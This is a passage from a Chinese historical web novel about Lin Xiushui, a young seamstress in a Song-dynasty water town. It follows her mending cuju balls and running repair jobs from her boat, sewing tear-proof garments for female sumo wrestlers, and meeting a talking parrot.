“大宽叔,你不是说不要使这玩意,”有人笑话他。 老丈哼一声,“好用的东西不就是给人用的,我爱使,我日日用,我年年用。” 所以她这批新的手套在麻线作坊处,卖得挺好,属于但凡用了手套,再去掏麻线的,当场会掏钱买。 毕竟套了手套的那点难受程度,比起手烂了还要进碱性的稻草灰里,滑石粉浆中,要好上太多。 林秀水出来时身后跟了不少人,要她常过来,多做点好东西来,她们洗衣行的人不挑。 而林秀水也可喜欢和洗衣行的人做生意了,掏钱爽快,又不爱挑剔。 出门空荡荡的钱袋子,已经多了七八吊钱,林秀水挎的包都变得很沉重,沉重但她很喜欢,再重一点也没关系。 她拿钱去买面油,这种东西卖的人称油瓯,买的叫油缸,她前头说要给姨母买来着。 银盖罐贵,陶装的便宜,她闻不出什么味道,喷香,买一罐五十六文,头油要便宜些,但胶黏。 林秀水还买了两把插梳,既可以梳头发用,又能插发髻上,准备明日起早买两束鲜春兰。 回去时跟小荷嘀嘀咕咕说了许久,小荷这回保证,“我跟阿姐你睡,我会早早起来的。” 王月兰夜里听闻这事,还觉得有些奇怪,不过倒是没说什么,她累得很,染肆里一天从早忙到晚,她倒头就睡。 第二日起来时,王月兰下楼熬粥,进灶房很稀奇,指指灶后面的林秀水跟小荷,“你俩捣鼓什么呢?” “五更天才多些吧,你个大懒虫也起来了。” 小荷哈欠连天,她还拱拱手,“要给娘你过生辰呀。” “阿姐说,让人高兴的事,宜早不宜晚嘛。” 王月兰生在春二月末,那时春兰开了,她就叫兰花。 可后来想,会叫她兰花的人都走了,想想改成了月兰。 “闹这么大阵仗,不过我心里可高兴,”王月兰捧着林秀水烧的面,热气熏到她眼睛里。 林秀水说:“生辰就得高兴嘛。” 王月兰收了小荷做的香包,收了林秀水的东西,尤其喜欢她做的那双鞋,想想光自个儿瞧不行,得出门显摆显摆,最好能显摆到陈桂花面前去。 林秀水看她出门,没过一会儿,便听见门口传来陈桂花阴阳怪气的声音,“可真了不起,叫你享了外甥女的福。” “那可不是,你今日说什么我也不气,”王月兰的语气带了明显的笑意。 陈桂花说:“那你借我银钱。” 王月兰扭头便走,想得可真美,反正她穿那双缎面绣花鞋,头上插两把梳子,戴新鲜的春兰,给自己面皮抹得油亮亮的,踢踏着在巷子里来来回回地走。 有钱不能显摆,但得了爱不能闷在肚子里。 不出片刻,巷子里人家大半知晓了,到林秀水摊子前总要说上几句,林秀水总会 笑眯眯地说:“生辰嘛,还得劳烦各位娘子多多夸两句。” 有娘子又问她手好些了没,林秀水晃晃左手,恢复挺好,只有块印子,慢慢会消的,她说:“好多了,药挺好使的。” “那下回真真得当心些。” 林秀水又寒暄几句,有生意上门来,是个跟她岁数差不多的小娘子,叫思珍,是前头私塾先生的女儿,拿了一大叠的纸头来。 “思珍,要做什么?”林秀水低头看了眼这纸头,发现大多是点心包上头附带的,印着字,零零散散一大堆,但很齐整,边角连个折痕也没有。 思珍扬起笑脸说:“阿俏,你帮我做个书袋来。” “做书袋装这些纸头的?” “对呀对呀,这可不叫纸头,叫裹贴,”思珍瞧瞧眼下没多少人,拿过凳子坐下来,摊开这堆纸头说:“这可都是我一点点收集起来的。” “你看这张,是我从茶箱上头取下来的,上头写毛尖,底下印着同和茶庄,最下边还有行字呢,从平江府到临安桑青镇。” “这张红底黑字的,是从绍兴府来的酒,还写着上等辣无比高酒。” “还有还有,诺,这修义坊出来的三不欺药铺,上面写了不掺假、不少秤、不欺人嘛。” 思珍说了几张,兴冲冲跟林秀水说:“我就觉得收这些东西怪有意思的,每张都能知道是什么东西,从哪来的,哪家做出来的,从这上头也看出哪些本地的,哪些辗转许多路才到我手里,我爹说这也是一种物勒工名。” 林秀水倒没有这种爱好,所以初初听闻不住点头,“确实很有意思,下次我要有这种纸头,不,裹贴,我也收好给你。” “那怎么好意思,”思珍睁大眼睛,转口又道,“请你一定要给我。” 林秀水笑出声,“那你还有这么多其他的纸呢?” “这些啊,都是点心铺子里头的,”思珍压低声音,“我每次想吃又不知吃什么时,就从这里头随便拿一张来,挑到哪个吃哪个。” 林秀水被她逗乐了,“行,我给你的裹贴做个书袋,夹层的行不行,给你多几个夹层,让你可以都装进去,二十五文差不多。” “我可以自己选布吗?”思珍眼巴巴看她,“我眼馋你摊子上的布好久了,可惜我去买的布头没有这般好的,我只挑外面的那层就行。” 林秀水的摊子最上层,摆放着很整齐的布头,绸面的、绢布、细麻,颜色也很突出,青绿蓝红各色的,但凡看见总要停下来瞧瞧。 “你也可以挑中了喜欢买下,这料子贵些,要八文一块,但是可以做香囊、荷包。” 顾娘子给她的布实在多,林秀水一一理出来,零散拿出来卖,布头生意有时比她缝补赚得多些,多的话早晚能有百来文。 思珍手里有些钱,于是便高高兴兴挑起了布头,等她挑的时候,林秀水做起书袋的夹层,她印象里这种包叫风琴包。 取一长条宽细布,太厚等会儿要折叠,针穿不进去,压三道差不多宽的线,对折按压,整圈缝起来留个开口。 翻过来竖缝,再翻过来对折竖缝,反正思珍没瞧懂,瞧着不大像个袋子,尤其林秀水缝得快,动作也快,她索性放弃不看。 但这书袋到手时,外面是她选的青绸缎布,她摸了又摸,爱不释手,等一打开,她惊讶极了,翻看袋底,没有线缝的痕迹。 里面有六个大小一致的夹层,能装许多东西,她那些手掌差不多宽的裹贴,可以一一塞进去,且不会弯折,思珍细心收藏的裹贴也得到了妥善保存,林秀水还用布做了个扣子,能用另一头的绳子缠上,怎么也不会掉。 “你这手艺我只能说,巧,真巧,你是能工巧匠里的巧匠。” 思珍夸起来人一套一套,数好钱,拿上她的书袋和布头,高高兴兴走了,她要拿去给她爹娘瞧。 她走后,林秀水又来两个活,让她无话可说的活。 第一个是个男子,穿了身道袍,做派又跟道士不一样,神秘兮兮问她,“你知道风能被捉住吗?” 林秀水说:“我不知道。” “你把这油布给我缝好,不漏一点针脚,我就能告诉你,”那男子给了她一块挺长的油布。 林秀水先收五文钱,怕他这样到时候不给钱,给他缝好了。 他两手捏着布角,将油布袋子放到左侧,沿着巷子口来回地跑,路上有人看他,小声嘀咕,“这人怕不是犯疯病了吧。” 林秀水不懂,但等那油布袋子里充满了风,鼓鼓囊囊的,男子一把捏住,急匆匆地跑回来,他跳起来大喊:“这真的把风抓住了!” 然后没抓稳袋口,里头的气全冲着林秀水脸吹来,她面无表情,看自己上翘的头发。 有没有风林秀水不知道,但他是真疯了! 她起早心血来潮新弄的鬓发,被这股气冲散了! 那男子这才回过神,连连致歉,“实在对不住,是我儿那书院出了个题,说是弄什么格物致知,要小娃去把风抓住,我这不是想了好些夜才想出来。” “你找个叫风的人抓住,”林秀水打理自己头发,没好气地给出了个馊主意。 男子还真琢磨起来,难不成那先生真是这么个意思,得赶紧回去问问他儿子,要真这样的话,不知道自己改名叫风行不行。 后头那个活,其实是熟人皮六带着他圆社的师兄过来,他们这行很讲究辈分和关系,入社都要称弟子,拜见祖师爷、先师还有什么已故先辈——灌口二郎神。 皮六满脸带笑给他精瘦的大师兄说:“这事我先前说过的那小娘子,别看人家年纪小,她手艺真不错,补蹴鞠的活完全能交给她,没话说的。” 大师兄正因为没人补蹴鞠而头疼,要不是皮六说认识人,叫他来瞧瞧,不然他转头便走。 他如此平静地说出骂人的话:“你是挨板子的时候,顺道那酒务脚子给你头上来了一板,你脑子才糊涂的吗?” “哎哎哎,真不是,师兄你别走,我叫小娘子给你露一手,”皮六两头走,生拉硬拽拉他师兄回来,又塞给林秀水几文钱,求求她露一手,最好把他师兄震住,叫他有眼看人低。 林秀水拿钱好办事,也得亏她手好了,不然真接不了皮六这个活。 在她成功弄炸三个蹴鞠后,又经由补纱的淬炼,林秀水已经基本摸清蹴鞠的脾性,能够做到补线无痕,内球不炸的功夫。 正好展示下她苦练的本事。 “来来来,坐坐坐,”林秀水给人端了两把椅子,“先坐,走不走也看看我这手艺再说。” 大师兄坐下,他很客气地说:“小娘子不妨事的,尽管补。” 皮六气得要炸了,他鼓满了气,拉人那么久,硬拽都拽不来,转头就这么坐下了?!好吧,他也坐。 两人带了一筐的蹴鞠来,要林秀水随手挑一个,这么大阵仗,旁边又聚过来一堆看热闹的。 “补蹴鞠呐,这东西可不好补,一补炸一手。” “不会说话边上去,你以为阿俏跟你一个样呐,她补啥看啥,把嘴给我闭上。” 一堆人你一言我一语,林秀水完全没听,她选了个最差的蹴鞠,皮子完全裂开,吊着边的,能基本露出里头的猪小肚,薄得可见她底下的手。 她转着给大家瞧一圈,这个蹴鞠眼下的样子,破破烂烂的像裂开的麻布衣裳。 有人嘀咕,“扔地上我都给踢远些,以为哪家的猪泡跑出来了呢。” 林秀水笑了声,取针和线,找最接近蹴鞠的线,拉出来绕线穿上。 轻轻拍了拍蹴鞠上头的灰,有娘子捂住耳朵,生怕到时候砰的炸一声,怪吓人的。 她也不管,坐下来,补蹴鞠最要紧的是稳,而不是快,她呼口气,左手按在蹴鞠开裂的皮子处,右手则从皮子内里下针,紧紧贴着里头球芯。 有人半眯着眼瞧,身子往后,手捏紧,生怕第一针就挑炸了。 压根没有,林秀水用藏针法,第一针下好后,左右斜着下针,穿线拉紧,她的动作并不快,但给人慢中有速。 初时瞧不出来,至少连看惯了补蹴鞠的皮六和大师兄,也只觉得没有老皮匠那样快、准、稳。 但后面就瞧出名堂了,随着她内针外针,细细拉线,球皮子边缘慢慢收紧,那转过来的一面,有破损的痕迹,却没有明显的线迹。 皮六握拳,得意地看大师兄一眼,他就知道自个儿眼光没错。 突然,有重重地一声“砰”响起,炸在耳边。 在场看客心吊到了嗓子眼,连忙看林秀水手里的球。 林秀水心抖手不抖,露出完整的球,继续慢条斯理地缝补,她还有闲心说:“前头南瓦子药发傀儡在新的方子,时不时放些火药,晚点还有几声,别慌。” 该慌的不慌,不该慌的瞎慌。 反正直到火药炸完,林秀水手里的蹴鞠也没炸,完完整整补完了,线迹分毫不露。她扔到皮六手里,“瞧瞧,要不给大伙来个白打,让我们也瞧瞧,顺道看这球露不露线。” 她去叫姨母和小荷来看。 皮六顺势接过,冲大伙笑笑,大方地道:“给大家来一段,献丑了。” 得亏他屁股好了,不然真是献丑了。 白打是一个人踢,皮六是个中好手,将蹴鞠转在自个儿手里,顺势转身弯腰,球在眨眼间到了他胸上,滚来滚去,但始终不落,大师兄在旁边说:“这叫滚弄。” 皮六又立即起身,球很快从身上滚落,在快落地时,脚勾住蹴鞠往上一踢,膝盖去顶,蹴鞠抛了又抛,他弓身下去,拿头顶球,又偏头让球急速落下,勾得大伙的心一上一下。 大师兄慢慢悠悠说:“这则称为飞弄。” 等球在皮六的脚、肩、头、臀、胸、腹都触过,慢悠悠落回到他手里,他行礼抱拳,“给大家献丑了。” 众人一阵叫好,纷纷喊他再来一段。 皮六则拉他大师兄起来,毫不推辞,“那我们再给大伙来一段,二人对踢。” 蹴鞠这东西,有看客,有叫好声,最能叫人踢几下。 大师兄拿球,用脚踢出,蹴鞠在空中停悬一瞬,这叫捻,换脚再踢,球正正好好飞到皮六脚边,两人在这不大的场地里,来回对踢,没有任何敷衍,你来我往,状况激烈,踢得酣畅淋漓,众人大饱眼福。 小荷举起两只手,拍着跳着喊好。 皮六淌着汗,捡起地上的球,在手里拍了拍,冲大家,尤其是他大师兄说:“嘿,补得好吧,没破,没露馅,不像前头那个补的表面样子,踢一场就露。” “来来,给我们小娘子也叫声好。” 林秀水也坦然接受大家的叫好,落落大方行礼,她应得的。 王月兰满脸骄傲,而小荷她跑去跟人家小孩玩蹴鞠了,她也有蹴鞠,她也要踢蹴鞠。 热闹过后,商量补蹴鞠价钱的事情,就得背着人。 皮六说:“按原先补价五文钱一个?” “你说你,”大师兄白他一眼,“是不是吃黑心钱了,这手艺你给五文一个?起码二十文一个。” “小娘子,天地良心,”皮六瞪大师兄一眼,朝林秀水的面给自己喊冤,“他自个儿死抠死抠的,从前只给五文一个的,我可没从中吃半点回扣,别看我黑,就说我黑心。” 他嘀咕:“爹的,好人全给你做了。” 林秀水哈哈大笑,“你还能做小人。” “不,出家做僧人,我要点化他!” 后头几人倒是正经地商谈了,价钱先给一半,每三天补十个球,今日给百文。 林秀水想,努力总会得到点东西的,比如整篓的蹴鞠,比如满袋的银钱。 赚了钱,收摊上工,将这块地让给大家说闲话,她还得给姚娘子送香囊去,这回她绣的香囊,其实是用两种不同的布缝出图案的。 比如蝶形香囊,一边用粉,一边用青,中间加点绿,她彻底学会了粉青绿的配色,搭得特别清新,给配了粉青绿的流苏穗子。 姚娘子说这回卖得不错,别家仿出来,不如她的布瞧着好看。 林秀水收了八十五文钱,也到边上晃悠一圈,发现其他扑买摊子的香囊其实也挺有意思的,不比她做得差。 仿的也有,大多数是这样,市面上什么东西人买得多,便做什么东西。 她一路走一路瞧,顺手买了三四个配色配得出挑的香囊,拿回去再瞧瞧。 路上有壁画,柱子上的墙绘,各家店铺的招幌,只要有颜色的,她都得细细瞧一番,暗自记下来,然后便发现,她压根记不住。 因为布料的颜色不相同,很难找到跟这些颜色里,极为相称的。 她反正慢慢琢磨,对于她来说,这门学问要学许久,一时半刻可学不会。 下工后回到桑桥渡,苏巧娘素面朝天跑来告诉她,兴冲冲地告诉她,“我收了个女徒弟。”“她不大聪明,但手很巧,那日在这她娘跟我说的,她虽然没其他孩子伶俐,看人雕东西却很入神,她阿爹是木匠。” “但她爹要把手艺传给他儿子,她娘又想给孩子寻门出路和生计,便来求我,孩子是真不错。” 苏巧娘笑笑,“别人说她愚钝,我却不觉得,能坐得住,能全心干一件事,不理会外头的打搅,这已经很难得了,我们这行就需要这样的孩子。” 她又有些担心,“就怕吃不了苦,做偶人是很累的,我所从外头学的布袋已经相对简单了,可以后还要教她做悬丝傀儡,要做偶头、笼腹、四肢、提线和勾牌,每一样都得下苦工夫死熬,一点不如意,得弃了从头再来,哎。” 林秀水笑道:“你看,没人的时候担心手艺没法传承,有人来学,又担心人家吃不了苦。” “其实做哪一行,不吃些苦头是不可能的,你只管尽心尽力教她便是了,让她有门糊口的营生。” 苏巧娘跟她并肩站在桥头,远眺前方,“我打算从南瓦子里搬出来,好好教她,多做些偶人传下去,说不准哪天,大家说起傀儡戏,也会有布袋木偶或傀儡的名字。” 林秀水说:“那说不准要好些年了。” “一年两年十年,一代两代三代,慢慢等。”—— 作者有话说:本章发红包[撒花][撒花][撒花] 30-35 第31章 第 31 章 救命呀——鹦鹉 春二月的最后三日, 住在桑树口巷子口里的人,有些起早拿一兜银钱,有些到处借钱, 要还从质库抵押东西借的屋债,以及想赎回东西。 屋税一年交两次,可屋债月月交, 而且质库里押的东西,当期一过,大多会在春三月卖掉。 王月兰到这几日里,让林秀水先少支摊, 自家也不开门,生怕人来借钱,她自家还债多虱子痒呢。 她这些日子里, 靠给街道司做拖布赚了五六百文,她正把铜板数好,用绳子吊起来,边穿边说:“我抵的东西好歹是船,西门那户人家,胆子够大,压的田契, 我说都不如陈桂花聪明, 她尽压些不值钱的东西。” “我这也快到当期了, 再不还上, 得给我将船拖走,我还一贯二钱,大船随他们卖了,小船赎回来给你用。” 王月兰一早的打算便是这样, 前头林秀水对桑青镇路不熟,日日走路能混熟,但眼下都要一个月了,不如船快。 划船只要从最前头的竹木行过去,拐个头的工夫,便能到桑绫弄。 林秀水上楼取钱,她将钱袋子放桌上,推到王月兰跟前,她说:“我得出大头的,不然这船我也不用。” “让你出,你出多少,”王月兰提起钱袋子,怪重的,她倒出来一看,一数,有八百文。 “你生意不做了?你出这么老些!” 林秀水手里还有一两百文,她再过几日发月钱了,正好能填补上,到时候她还要寄些东西回上林塘。 两人没在钱上算得很清楚,林秀水想多出,王月兰也只能随她。两人趁人不多,早早出门到质库里去,拿条子交钱换船。 这抵押的船都被送到东岸口上船亭处,她俩坐质库的船去取船。 王月 兰前头没了的那个男人,从前是做船的,所以她抵押的小船同其他不同,一眼便能瞧出,船篷是木头做的,方方正正很高,不像其他船用竹编篷倒扣,进去要弯腰坐下。 船当时费了心思做的,桐油混麻丝漆得滴水不漏,所以停靠了大半年,也没有太多要修补的地方,小修便行。 林秀水看新船便说要同王月兰换船,她划那艘破的就行,王月兰斜眼看她,“少来,你划艘破船到桑绫弄那去,叫人家怎么瞧你,且你之后不接外活了?你的裁缝家当总得有地方放,有艘好船,你镇上哪里的活接不得。” “你只管摇去。” 林秀水很会跟船打交道,不管是摇橹,或是撑篙、划桨,但凡水乡里长大的,基本男女各个是弄船好手,林秀水十岁起划船,她划她的小舟送她娘去老郎中那拿药的。 但后面学裁缝手艺后,她不大用船,摇橹摇得多了,手会破皮生茧子,一生茧子缝布料时便要勾丝,所以她决定戴手套摇橹。 划回到桑树口时,王月兰请了对岸的船匠来看船,给百文钱,重新涂一遍漆,再修检一番,船头加高点,让林秀水能使上劲。 所以下晌林秀水回来时,便见到了一艘崭新的小船,桐油漆得船身光亮亮的。她很喜欢这艘船,前头有用四根棍扎起的高篷子,下雨天时划船摇桨不会被淋,后面的船舱稍低,但里头算是宽敞,能坐一两个人,放米袋、油盐、杂物,不用她再费劲过几座桥提到指节胀红。 王月兰拍了拍船身说:“这船新,不要停船埠那头去,碰上夜里有人将板撬走也不知,交两个钱,摇回到上西头船洞那,夜里有人守着。” 林秀水应下,过了今夜,她不再走路,她摇船上工去。 在桑青镇里行船,同上林塘那宽阔河岸,举目望去重重远山,片片青田不一样,这里河道窄,两岸全是黑瓦砖墙的屋舍,有人在二楼撑起窗朝楼下喊,有对门人家打开后门,往外泼一盆水。迎面碰上柴船,她还得小心摇船避让,结果擦着两岸人家挂的衣裳中间过。 林秀水有点手生,在河道里摸索,起早的天,摇得脑门出了细汗,偏有人眼尖,隔着埠头喊她,“小娘子,你等等。” 她赶紧停了船,弯腰从船篷底下探出头去,她不认识喊她的娘子。 可这娘子对她熟得很,招招手,“怎么想起摇船了,不过正好,你从这过倒是方便,我这些日子忙着剪桑,腾不出手去你那,我有件麻衣劳烦你给我织补织补,还有件小孩穿的肚兜,开了线,我手糙得很,补不了,你也给缝补下。” “多少银钱,我拿给你,我也不急,你哪日补好了,到这喊我一声便成,正巧不用我跑你们桑树口去了。” 林秀水实在没有想到,摇船去上工也能有生意找上门来,她脱了手套,弓身出去站到船头,伸长胳膊接了衣裳过来,细细看了下,她急急跟人讲清楚,说了个价,“娘子给我二十五文便成,我明日过来捎给你。” “成,你多多行船来,我们这里上工忙,总跟你碰不上面,慢些着点。” “哎——” 得亏林秀水起得早,来往船不多,要碰上晌午边,停靠边上说话得被后头骂的。 她也没想到有生意,空着船来的,看来还得去买两个干净篓子放船上。 这两岸俱住了人家,她不认识旁人,可不少人却识得她,大半跟她做过生意,尤其她的船很打眼,跟别人的船不同,总要瞧上一眼的,一见是她,总要叫住她。 “我说呢,谁摇得的船呢,扭扭歪歪的,”有个大娘搭着门边笑,“原是你这个小裁缝。” “昨日钓了两条鲜鱼,还剩一条,我想想送到桑树口,绕好大一圈,正碰上了,你拿去吃。” 那大娘提了鱼,走下埠头来硬要将鱼塞给她,林秀水推拒不下,这大娘倒没跟她做过生意,可她认识,日日总要过来瞧热闹的。 “秀姐儿,你先别走,”又有个娘子从二楼窗子探出头,连忙喊住她,“我有个物件要补呢,你且等等我,我这就下来。” 林秀水蹲在船头,原本还想着从水路走要快些,没想到更磨蹭了,没摇几步路尽接活了,她今早想着不熟悉水路,早些收了摊子,那活全在这河里给补上了。 “这窗子糊的绢布,叫哪只蠢鸟来抓了三五个洞,我一直催我家官人拿了上你这补,他个死鬼,拖了又拖,我家里小儿才三个月,脱不开身。” “我一直惦记着,小半个月了,看到这窗便心里烦闷,又恼又气,得亏今日瞧见了,我算是不至于总记挂着这事了。” 那瘦弱娘子说完,抱着板木窗,慢慢地侧着身下来,低头看石阶,将挺重的窗子递过去。 林秀水伸手接过,还挺沉手的,她看了眼后面,没有船,便又低头看这扇木窗。 确实像是被鸟爪勾破的,原先这白绢布糊的窗应当素净好看的,眼下勾丝破洞,她数了有五处,确实叫人越看越叫人糟心。 她将木窗靠在自己船舱边上,又走到船头笑着说:“这丝破的地方虽多,但能从底下取出不少线,娘子你放宽心,我夜里晚上赶赶工,给你的先补上。” “只是洞多,银钱费得也多些,这一扇窗补补要五十文。” 这对那娘子来说确实有些贵,可当时窗子买来花了一贯多,换一张绢布就得将剩下的全换了,那可不是五十文的事情。 她当即便道:“我信得过你的手艺,我去取了钱给你,劳烦你多费心。” 这确实信得过林秀水,没付一半,直接给全了,而林秀水幸亏今日挎了只大布袋,不然钱都没地方放。 总算磨磨蹭蹭到河中央,行了一半路,终于没人喊她,只远远的她见伸出根竹竿,竿上挂了个小竹篮,里头装的什么看不分明。 她想摇橹将船摇到边上去些,便见边上有人频频招手,她又摇回来,眼见那竹竿伸到船上,竹篮放到船头来,原是一堆糖糕。 林秀水盯着埠头上这对夫妻,她有点模模糊糊的印象,但实在认不出到底是谁。 “小娘子这是自家做的,拿去吃吧,上回你替我家闺女补好了衣裳。瞧你怕是记不起来了,就那个想吃鱼下河去捞,结果掉河里去的,又哭又喊,我娘呢,我爹呢的大胖妞。” 那当爹说得毫不留情,林秀水这才记起来,因为那丫头是真胖,她还没见过这么壮实的,用尽力气憋红了脸也没抱起来。 这糖糕不接也得接。 从桑桥渡到桑绫弄的一路上,林秀水船行一段路,接一两个活,人家再强塞她点东西,搞得船舱里头还没坐人,倒是塞满杂七杂八的东西。 以至于明明是早些出门的,硬生生踩着点到的,要去船洞边停船,给两三文钱叫人管着,还去买了个小盆,装水放鱼。 “你杀鱼去了?”小春娥不解。 林秀水用力搓手,搓得起沫子,她说:“人家给的,我今日自己摇船来的,许久没摇过了,肩颈这块可疼了。” “你们那河又窄又平,想借点力气都不成,要我说,还不如走着来得快些。” “话虽是如此说,”林秀水没打算继续走路,她说,“好些人还用得上我呢。” 林秀水也是今日才得知,哪怕住桑桥渡边上的,只隔一道桥,大伙想修补些东西,也因忙于生计腾不出空来。 总想着下次等不忙了,可这税那税,这钱那钱,为了钱为了自个儿又或许为了其他人,总没有闲下来的时候。 哪怕水路确实难走些,林秀水为了这河道里的人家,也愿意日日摇船从枕溪里这条河过。 所以她回家后的傍晚,先找出要接活放衣物的篓子,放其他散件的盆,之前她叫张木匠用竹子做些签筹来,也便是竹片,只她的签筹需要穿孔。 这是她从洗衣行学的,原先她能记住每个人,谁给的什么东西,要补的地方在哪,可眼下活两头 接,东西太多,她有好几次搞混过。 做签筹穿了孔,挂上不同颜色的线,两种同色的,一根放在补的物件上头,一根则给来补东西的人,按签筹过来领。 这回也给带上,只她仍觉得不大好,因为有时候会忘记要补的是什么地方,尤其有特别需求的。 她坐在窗前琢磨,才发觉一件事,要她会写字便好了,她就能将所有的事情写下来记住。 有了从前的记忆,她确实能识得不少字,可那都一知半解,更别说会写字,她确确实实不会写,哪怕她能很流畅地画出纸样,她也确实不会写字。 她从前的日子里,为了生计下田、养蚕、养鸡鸭、缫丝织布,又花很多工夫在缝补上,压根没多余的工夫和钱来学写字。 但眼下她的营生渐渐稳定,她即将能领到月钱,有一贯的银钱,她或许可以挪一些出来,先买点笔墨纸砚,再寻人来教教她。 她慢慢想着这事,反正也急不得,她先将要补的活按急活和慢活分好,开了窗子,将自己手里的木窗立起来,渐渐倾斜,看丝勾破得多不多,取了线慢慢细细补上。 补得累了,她去倒茶喝,喝了茶回来,窗外有人叫她,她小走几步,有艘船停在她窗子前,船上的三个娘子她压根不认识。 “你是林小娘子吧,做裁缝的?朱七娘说我们有活的话,来找你便行,”有个身形壮硕的娘子走到船头,轻松撑篙将船划来,她边划边说,“我们是来找你缝衣裳的。” “三位娘子要缝什么,”林秀水探出身子问她们,越觉得她们三个这般壮硕的身形,应当不像是寻常做活的女子,哪怕穿了遮肉的衣裳,依旧显得骨架很大,脸上却一点不胖,像练家子。 那说话的胖娘子伸手递过来一件衣裳,林秀水没来得及看形制,只摸得出很轻薄。 她拿进去,抖了抖展开看,挑了挑眉,是件无领短袖的衣衫,这种她记忆里见惯了的衣裳,在这里只有一类人会穿。 那便是女相扑,也被称为女飐(zhǎn)。 相扑在宋朝很盛行,男女相扑里,尤其以女相扑的场次最为受到追捧,她们大多穿这种无领短袖的衣服,露出腰腹和粗犷而有力的手臂,两两相博。 林秀水没看过,男女相扑她都不大喜欢,但是仍有听闻过很多女相扑的名号,如“赛关索”“嚣三娘”“黑四姐”。 而她眼前的这三个女相扑,则名不见经传。 林秀水看完这件衣裳,除了有些轻薄之外,她实在找不出需要补的地方。 女相扑庄三姐靠过来,低声些说:“不是补,是叫你再照着这样式,缝一层厚底到里头,不至于厮打时被扯破领子。” “再给这种料子缝一层底?”林秀水重复她的问题,她又摸了摸,这种薄不同于细布薄,她稍微带点巧劲扯了扯,布帛已经被拉伸到有轻微裂痕。 她的力气不算大,林秀水才看着这衣裳皱了皱眉,“就给你们穿这个?” 庄三姐平静地说:“那干我们这种行当的,自古都穿这种衣裳的,只是从前这料子好,我们如何搏斗也不会撕扯坏对方的衣裳。” “可眼下却不同喽,”另一道声音从船后传来,“这做的是衣裳吗,跟纸头一样我一打便稀碎,老娘眼下真想把那吊三拎起来打,贪我们的钱,买陈年的布。” 即使她们不愿意明说,林秀水也听出了其中的意思,有事寻她帮忙,她自然义不容辞,也不愿生挖背后的故事。 只是扬起笑脸说:“碎成稀巴烂也有稀巴烂的补法,至于这种衣裳,加一层底不如加两层,我保准扯不破,你们放宽心博斗。” 她拿了两张细布料子过来,叠在一起,叫庄三姐放在手里扯,庄三姐的力气胜过许多男子,她岔开腿,用力往两边扯,扯得料子变了形,但没裂。 “嘿,我来试试。” 后头两个娘子也用力扯,没扯破,要知道她们可是徒手能掰断粗木棍的。 庄三姐又问:“就照着这个补,什么时候能好,我们明日得上台,这衣裳也是这会儿工夫才到我们手里的,还有两件。” “这很快的,你们明日五更天来取,至于钱嘛,不收了,我还没瞧过女相扑打套子呢。” 这三个娘子都被林秀水的话逗笑,庄三姐说:“好,我们请你来瞧,你明早到南瓦子里来。” 其实林秀水觉得相扑没多大看头,两人搏斗,不管男女,哪有什么好瞧的。 但当她在南瓦子里的台上,看到庄三姐穿着短打,同另一名同样高大女子搏斗在一起,两位身形壮硕,但走位尤其灵巧,每一招出势手很快。 林秀水自认为自己的针法算快的,可却压根敌不过她们的手法,强劲有力,身姿灵活,出招对打,疾速如风,庄三娘换身躲过一脚,背触着地,又猛跃起来攀扯厮博,严肃而认真地对博。 比起简单的互博取乐来,林秀水觉得这已经称得上绝活。 台下看客也纷纷叫好,跟衣裳穿得如何没多大关系,这身法便值得喝彩。 “你们女相扑都跟风一样,嗖的一下,压根没影了,我眼神都来不及转,尤其是你那整个人贴到地上,又猛跃起来,跟条鱼甩尾一般,嘶,”林秀水跟下台的庄三姐说。 庄三姐扯了扯自己的衣裳,她流了不少汗,脸色通红,却笑着说:“多亏你的衣裳,我们俩可以放心对博。” “那是,我做的东西没话说,”林秀水顺势接话,“我昨儿琢磨了一夜,与其担心送来的衣裳,还不如穿身自己的衣裳。” 她其实有问过庄三姐等人,毕竟女相扑在许多人眼里看起来不大体面,有没有想换个行当的,但她们都说:“为什么要换?” 庄三姐说:“我才不会换,就喜欢正大光明对博,我们都想打到自己出名的时候。” 所以林秀水便说:“我可以照着这种形制的衣裳,按你们每个人的身形,给你们贴身的,会有些厚重,但是撕不破。” “这次可得给钱了,你们还是有些费布料的。” 庄三姐很得意地说:“那当然费布料了,我一天吃十碗饭,当我是白吃的吗,吃了就得长肉,我一手能拎起两个男的,敞开了做,我们赚的银钱可不少。” 所以林秀水接到了头一批做贴身里衣的单子,一件四十五文,光是她们短上衣需要的布都已经要三十五文了,一件衣裳能有她两个人大,真费布料和手啊。 可她又很高兴,她做的衣服怎么也撕不破,至少在女相扑那里,保留了对双方的尊重,她仅仅能做到如此。 在那之后,林秀水仍照常摇船,往返于河流之中,早晨摇着船,停靠在河边上,然后站在船头朝边上喊。 “张阿婆,你要补的袖子,我给你补好了,你从二楼把篮子放下来,我给放到里面了喽。 ” “李三娘子,这是你要的香囊,钱放我的篮子里,”林秀水将自己的竹竿伸过去,那前头有两根木板,上头又定了个小方盒,那是她做过来收银钱的。 前头那要修窗的娘子出来,高高兴兴地回:“那窗补得真好,半点痕迹瞧不出,要能知道修得这样好,我下回可不恼了。” 林秀水有时觉得自己像这条河上的货郎,她的船一来,不管孩童或是成人,总要张望一番,而后想想,自己有没有什么要缝补的东西,要是找不到,等她走后也得翻箱倒柜一番,然后就等第二日她来时,也遥遥招手,喊她,“到这来,要补东西——” 她能接的便接,不能接的便让她们上别处补去。 林秀水之前想过,她的船里坐人,放粮食豆袋或是柴,从没想过,每天都运一堆乱七八糟,急需缝补的破烂回去。 再把一个个破的、烂的,全补成好的,挨家挨户送回去,让它们在完完整整地到家里需要的地方去。 当然并不是有了河道口两岸的生意,林秀水桑树口的摊子便不做活了。 要她说,河道口的人家朴实,每次寻她补的东西也中规中矩,衣裳裤子鞋子,基本都跟布沾点边。 桑树口的生意便比较有意思得多,跟她只要八竿子有半竿子能碰得上的,全来找她。 就好比眼下, 林秀水发誓,她下回真的要打个招幌,上面就写,牲畜勿扰。 她刚就坐在这摊子上,从远处飞奔过来一个男子,肩膀上站着一只鹦鹉,跑的时候喊:“小娘子,快救救我家阿宝的命吧——” 林秀水扭头,正对鹦鹉的脸,它小豆眼眨啊眨,张开嘴,歪着脑袋喊:“救—命—哇!” 第32章 第 32 章 领月钱了! 人一不能太闲, 二不能起太早。 林秀水又闲又起得早,她大早上跟只绿毛红嘴鸟大眼对小眼。 她憋出句话:“你别喊救命。” “别喊,”小鹦鹉跳到男子另一头肩膀, 跟林秀水的脑袋齐平,踩踩爪子,它又跳起来扇翅膀, 轻轻地喊,“救救。” “救你吗,”林秀水揉揉自己的眉头,这货看起来啥也没问题啊, “你叫阿宝?” 这下小鹦鹉跳起到男子头上,猛摇头晃屁股,它气鼓鼓地叫:“翠花, 翠花!” 